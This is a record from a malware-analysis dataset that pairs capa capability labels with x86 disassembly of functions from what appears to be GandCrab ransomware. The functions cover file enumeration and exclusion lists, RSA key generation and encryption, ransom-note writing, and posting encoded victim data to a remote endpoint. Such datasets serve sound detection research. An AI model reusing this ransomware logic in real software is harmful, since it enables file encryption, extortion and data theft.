joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005210
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x1c], edx
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
inc eax
push 0x40
push 0x3000
mov dword [ebp - 4], eax
lea esi, [eax + 1]
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x1000524f
cmp dword [ebp - 4], esi
jae 0x1000524f
mov edi, eax
jmp 0x10005251
xor edi, edi
xor esi, esi
lea eax, [ebp - 4]
push esi
push esi
push eax
push edi
push 1
push esi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x10005385
mov eax, dword [0x1000fc80]
movq xmm0, qword [str.aeriedjDshasj]
mov esi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ax, word [0x1000fc84]
mov word [ebp - 0xc], ax
mov al, byte [0x1000fc86]
push 0xff
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x11f]
push 0
push eax
movq qword [ebp - 0x18], xmm0
mov byte [ebp - 0x120], 0
call fcn.10009010
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [ebp - 0x18]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x120]
call fcn.10005d70
push esi
mov edx, edi
lea ecx, [ebp - 0x120]
call fcn.10005e20
add esp, 8
lea ecx, [ebp - 0x18]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x18], xmm0
push edi
call fcn.100033e0
cmp dword [ebp - 0x18], 0
jne 0x1000538d
mov edi, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [0x10012a60]
test edi, edi
mov esi, dword [ebp - 0x10]
cmovne eax, ecx
mov dword [ebp - 8], 1
mov dword [0x10012a60], eax
test esi, esi
je 0x10005341
push 4
push 0x3000
push esi
call ebx
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x10005341
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
test edi, edi
je 0x1000535d
push edi
push 0
call eax
push eax
call ebx
mov eax, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
test esi, esi
je 0x10005369
push esi
push 0
call eax
push eax
call ebx
mov esi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
jmp 0x1000536c
call fcn.10005190
int3
Function at 0x100053a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x404
push 0
mov edi, ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
push 0x200
push esi
push 0
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0x10005487
push 0
push 0
push 0
push 8
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10005480
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
mov dword [ebp - 8], eax
test eax, eax
je 0x10005477
lea esi, [eax + 0x4e]
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push esi
xor ebx, ebx
lea edi, [edi + eax*2]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, eax
je 0x10005468
mov ecx, esi
test bl, 1
jne 0x10005453
mov al, byte [esi]
inc esi
mov byte [ebx + edi], al
jmp 0x10005457
mov byte [ebx + edi], 0
push ecx
inc ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov ecx, dword [ebp - 4]
add eax, eax
cmp ebx, eax
jb 0x10005446
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_UnmapViewOfFile]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100054a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], edx
push edi
lea ecx, [ebp - 0x20]
mov dword [ebp - 8], ebx
call fcn.10007ce0
call fcn.10005060
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push 0x40
push 0x3000
lea edi, [eax*2 + 0x400]
lea eax, [edi + 1]
push eax
push 0
call esi
push 0x40
push 0x3000
push 0x32001
mov ebx, eax
push 0
mov dword [ebp - 0x18], ebx
call esi
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x1000550a
lea eax, [edi + 1]
cmp edi, eax
jb 0x1000550c
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
push str.data
push ebx
call esi
push dword [ebp - 8]
push ebx
call esi
movdqu xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
push ebx
movdqu xmmword [ebp - 0x84], xmm0
movdqu xmm0, xmmword [0x1000fb30]
movdqu xmmword [ebp - 0x74], xmm0
movdqu xmm0, xmmword [0x1000fb40]
movdqu xmmword [ebp - 0x64], xmm0
movdqu xmm0, xmmword [0x1000fb50]
movdqu xmmword [ebp - 0x54], xmm0
movdqu xmm0, xmmword [0x1000fb60]
movdqu xmmword [ebp - 0x44], xmm0
movdqu xmm0, xmmword [0x1000fb70]
movdqu xmmword [ebp - 0x34], xmm0
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
xor edi, edi
lea eax, [ebp - 0x480]
push 0x3fc
push edi
push eax
mov dword [ebp - 0x484], edi
call fcn.10009010
add esp, 0xc
lea eax, [ebp - 0x484]
push str.curl.php_token
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea ecx, [ebp - 0x484]
call fcn.100053a0
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov esi, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x84]
push eax
push str.POST
sub esp, 8
push 0x31fff
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push ebx
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0x484]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.10007ef0
test eax, eax
je 0x10005628
cmp dword [ebp + 8], 0
mov edi, 1
je 0x10005628
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
mov ecx, esi
call fcn.10005210
test eax, eax
je 0x10005626
mov eax, dword [ebp - 8]
test eax, eax
je 0x10005628
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x10005628
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
push 0x8000
push 0
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1000565e
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005670
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x4c02
push 0
mov esi, edx
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x100056a6
lea ebx, [eax + 0x800]
mov edi, eax
jmp 0x100056aa
xor edi, edi
xor ebx, ebx
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
push dword [ebp - 8]
push str.actionresulte_files_de_size_I64ue_time_d
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [ebp - 0xb0]
call fcn.100039f0
lea ecx, [ebp - 0xb0]
call fcn.10007330
lea ecx, [ebp - 0xb0]
call fcn.10007140
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
push edi
call esi
lea ecx, [ebp - 0xb0]
lea eax, [edi + eax*2]
push eax
call fcn.10006f40
push edi
call esi
mov ecx, dword [0x1000fc80]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [ebp - 0x1af]
mov dword [ebp - 0x18], ecx
mov cx, word [0x1000fc84]
push 0xff
mov word [ebp - 0x14], cx
mov cl, byte [0x1000fc86]
push 0
push eax
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x1b0], 0
call fcn.10009010
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.10005d70
mov edx, dword [ebp - 4]
lea esi, [edi + edi]
add esp, 4
lea ecx, [ebp - 0x1b0]
push esi
call fcn.10005e20
add esp, 4
lea eax, [edi*8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x40000001
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x100057c2
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
call edi
push 0x40
push 0x3000
lea esi, [eax + 4]
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push ebx
mov dword [ebp - 8], eax
call edi
mov ecx, dword [ebp - 8]
add eax, 2
test ecx, ecx
je 0x100057f5
mov dword [ebp - 4], ecx
cmp eax, esi
jb 0x100057fc
mov dword [ebp - 4], 0
push ebx
xor esi, esi
call edi
test eax, eax
je 0x10005822
mov edi, dword [ebp - 4]
mov al, byte [esi + ebx]
cmp al, 0xa
je 0x10005816
cmp al, 0xd
je 0x10005816
mov byte [edi], al
inc edi
push ebx
inc esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
cmp esi, eax
jb 0x10005808
mov ecx, dword [ebp - 4]
xor edx, edx
push 0
call fcn.100054a0
mov esi, dword [sym.imp.KERNEL32.DLL_VirtualFree]
add esp, 4
test eax, eax
mov ecx, 1
mov ebx, 0
cmovne ebx, ecx
push 0x8000
push 0
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0xb0]
call fcn.10007c10
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100062b0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10006305
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x80090016
jne 0x100062fe
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x100062fc
xor eax, eax
jmp 0x10006389
jmp 0x10006305
xor eax, eax
jmp 0x10006389
lea edx, [ebp - 8]
push edx
push 0x8000001
push 0xa400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x10006322
nop
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 6
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
push 7
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10006530
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x10012a48
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1000659e
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x80090016
jne 0x10006597
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10006595
xor eax, eax
jmp 0x1000663c
jmp 0x1000659e
xor eax, eax
jmp 0x1000663c
mov dword [ebp - 0xc], 0
lea edx, [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x10006622
mov dword [ebp - 0x10], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], 0xc8
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
jne 0x10006622
mov ecx, dword [ebp - 0x14]
call fcn.100034f0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10012a48
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10006640
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory

Disassembly:
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x201
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, str.ProgramData_
mov ecx, esi
mov edi, eax
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Program_Files_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Tor_Browser_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Ransomware
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.All_Users_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Local_Settings_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.:Windows_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push eax
push 0x2a
push edi
push eax
call ebx
test eax, eax
je 0x10006705
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0
push 0x2b
push edi
push 0
call ebx
test eax, eax
je 0x1000671f
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0
push 0x24
push edi
push 0
call ebx
test eax, eax
je 0x10006739
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0
push 0x1c
push edi
push 0
call ebx
test eax, eax
je 0x10006753
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0x8000
push 0
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
ret
push 0x8000
xor esi, esi
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x10006790
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0x100067be
lea esp, [esp]
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0x100067be
test ebx, ebx
jne 0x100067b0
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x100067dc
pop edi
pop esi
mov eax, 1
pop ebx
ret
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x100067d3
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x100067d3
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x100067d3
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x100067d3
push str.boot.ini
push esi
call edi
test eax, eax
je 0x100067d3
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x100067d3
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x100067d3
push str.GDCB_DECRYPT.txt
push esi
call edi
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret
Function at 0x10006950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x400
push 0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push esi
mov ebx, eax
push 0x1000f41c
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, ebx
call fcn.10006850
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
test eax, eax
jne 0x100069af
cmp dword [edi + 0x20], 0xa
jb 0x100069af
mov ecx, ebx
call fcn.10006790
test eax, eax
je 0x100069ce
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, ebx
call fcn.100035e0
mov edi, eax
mov esi, edx
jmp 0x100069b5
Function at 0x10006a40
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push 0x1000fec4
push esi
lea ebx, [esi + eax*2]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcmpW]
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebx], ax
xor ebx, ebx
jmp 0x10006a90
push 0x1000fec8
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x10006bb2
push 0x1000fecc
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x10006bb2
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea ecx, [eax - 1]
lea ecx, [esi + ecx*2]
test eax, eax
je 0x10006ba8
nop
cmp word [ecx], 0x2e
je 0x10006aec
sub ecx, 2
dec eax
jne 0x10006ae0
test eax, eax
je 0x10006ba8
push str..sql
push ecx
call edi
test eax, eax
jne 0x10006ba8
push eax
push eax
push 3
push eax
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edi, eax
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, 0x40000000
jae 0x10006b92
push 4
push 0x3000
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10006b8f
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
je 0x10006b81
mov edx, str.
mov ecx, esi
call fcn.10008100
test eax, eax
je 0x10006b81
push str.
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [esi + 1]
add ecx, eax
call fcn.100069e0
mov dword [ebp - 8], eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov esi, dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, dword [ebp - 8]
test ebx, ebx
jne 0x10006bca
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcmpW]
jmp 0x10006baa
xor ebx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x10006a90
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006be0
Capabilities:
Allocate or change rwx memory
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x402
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov esi, eax
push str._sGDCB_DECRYPT.txt
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10006c3e
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ebx, ebx
cmp eax, 0xb7
sete bl
jmp 0x10006c70
mov eax, dword [0x10012a64]
test eax, eax
je 0x10006c64
push 0
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
push dword [0x10012a64]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ebx, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10006c90
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
mov dword [ebp - 0x14], edx
mov edi, ecx
call fcn.10006640
test eax, eax
je 0x10006dd4
mov ecx, edi
call fcn.10006a40
test eax, eax
jne 0x10006dd4
call fcn.10006be0
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x1000fec4
push edi
lea ebx, [edi + eax*2]
mov dword [ebp - 0x10], ebx
call esi
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
xor ecx, ecx
mov dword [ebp - 8], eax
mov word [ebx], cx
cmp eax, 0xffffffff
jne 0x10006d04
mov eax, 0xdeadbeaf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp + 0x10]
jmp 0x10006d10
push 0x1000fec8
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x10006db3
push 0x1000fecc
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x10006db3
lea eax, [ebp - 0x238]
push eax
push edi
call esi
test byte [ebp - 0x264], 0x10
je 0x10006d71
push 0x1000fefc
push edi
call esi
mov edx, dword [ebp - 0x14]
mov ecx, edi
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.10006c90
add esp, 0xc
jmp 0x10006dab
push dword [ebp + 8]
mov eax, dword [ebx]
lea edx, [ebp - 0x264]
mov esi, dword [ebx + 4]
push ecx
mov ecx, edi
mov dword [ebp - 0xc], eax
call fcn.10006950
add esp, 8
add dword [ebx], eax
adc dword [ebx + 4], edx
cmp esi, dword [ebx + 4]
ja 0x10006da5
jb 0x10006da0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebx]
jae 0x10006da5
mov eax, dword [ebp + 0xc]
inc dword [eax]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x10006d10
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
lea ecx, [ebp - 8]
push esi
push edi
xor edi, edi
call fcn.10007ce0
push 0x40
push 0x3000
push 0x2801
push edi
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push 0x1000ff0c
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push edi
push edi
push 0x1000fa7c
sub esp, 8
lea ecx, [ebp - 8]
push 0x27ff
push esi
push edi
push edi
push 0x1000ff10
push 0x1000ff14
call fcn.10007ef0
test eax, eax
je 0x10006f11
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
add eax, eax
cmp eax, 0x80
jae 0x10006f11
push esi
push 0x1000fab4
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov edi, 1
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10006f2d
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8